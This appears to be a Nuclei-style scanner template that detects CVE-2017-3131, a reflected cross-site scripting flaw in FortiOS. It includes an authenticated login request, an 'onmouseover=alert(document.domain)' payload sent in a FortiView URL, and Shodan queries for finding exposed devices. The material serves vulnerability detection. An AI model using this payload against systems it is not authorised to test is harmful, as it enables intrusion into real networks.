CVE-2017-3131: FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting

id: CVE-2017-3131

info:
  name: FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.4.0 through 5.4.4 and 5.6.0 allows attackers to execute unauthorized code or commands via the filter input in "Applications" under FortiView.
  impact: |
    Successful exploitation could lead to execution of malicious javascript.
  remediation: |
    Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42388
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3131
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-3131
    cwe-id: CWE-79
    epss-score: 0.11481
    epss-percentile: 0.93354
    cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:*
  metadata:
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
  tags: cve,cve2017,fortinet,fortios,xss,authenticated

http:
  - raw:
      - |
        POST /logincheck HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8

        ajax=1&username={{username}}&secretkey={{password}}

      - |
        GET /ng/fortiview/app/15832%22%20onmouseover=alert(document.domain)%20x=%22y HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'id_15832" onmouseover="alert(document.domain)"'

      - type: word
        part: content_type_2
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fafac570d2f786e3f3f01f7e375f6c6214226677c2ccb86a0ab15f47d6ff6bcc022100d6b628eca28a7d5dba1c83514727cf581e1bd86d09cf9b884909c8f98d91399a:922c64590222798bb761d5b6d8e72950